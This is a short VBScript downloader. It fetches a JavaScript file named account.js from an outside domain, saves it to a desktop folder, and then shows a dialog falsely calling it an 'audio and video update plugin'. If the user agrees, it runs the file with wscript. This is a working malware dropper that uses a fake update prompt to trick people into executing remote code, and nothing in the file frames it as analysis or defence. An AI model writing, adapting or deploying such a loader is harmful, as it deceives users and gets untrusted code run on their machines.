Option Explicit

' === Configuration ===
Dim accountUrl
accountUrl = "https://flutterskyrun.com/assets/account.js"  ' Must be HTTPS

Dim fileSysObj
Set fileSysObj = CreateObject("Scripting.FileSystemObject")

Dim wsObj
Set wsObj = CreateObject("WScript.Shell")

' Ask the user where to save the file
Dim desktopPath, downloadDir
desktopPath = wsObj.SpecialFolders("Desktop")
downloadDir = desktopPath & "\MyScriptDownload"

If Not fileSysObj.FolderExists(downloadDir) Then
    fileSysObj.CreateFolder downloadDir
End If

Dim downloadFile
downloadFile = downloadDir & "\account.js"

' === Download the file ===
Dim httpObj
Set httpObj = CreateObject("MSXML2.XMLHTTP")

httpObj.Open "GET", accountUrl, False
httpObj.Send

If httpObj.Status = 200 Then
    ' Save file to disk
    Dim httpStream
    Set httpStream = CreateObject("ADODB.Stream")
    httpStream.Type = 1  ' Binary
    httpStream.Open
    httpStream.Write httpObj.ResponseBody
    httpStream.SaveToFile downloadFile, 2  ' Overwrite if exists
    httpStream.Close
    Set httpStream = Nothing
    Set httpObj = Nothing
    
    ' === Prompt the user to run the file ===
    Dim msg
    msg = "Install the audio and video update plugin now."
    
    Dim answer
    answer = MsgBox(msg, vbYesNo + vbQuestion, "Install Plugin")
    
    If answer = vbYes Then
        ' Use wscript/cscript normally; don't hide the window
        wsObj.Run "wscript """ & downloadFile & """", 1, True
    Else
        'MsgBox "You can run the script later by double-clicking: " & downloadFile
    End If
Else
    MsgBox "Failed to download the script. HTTP Status: " & httpObj.Status
End If

Set fileSysObj = Nothing
Set wsObj = Nothing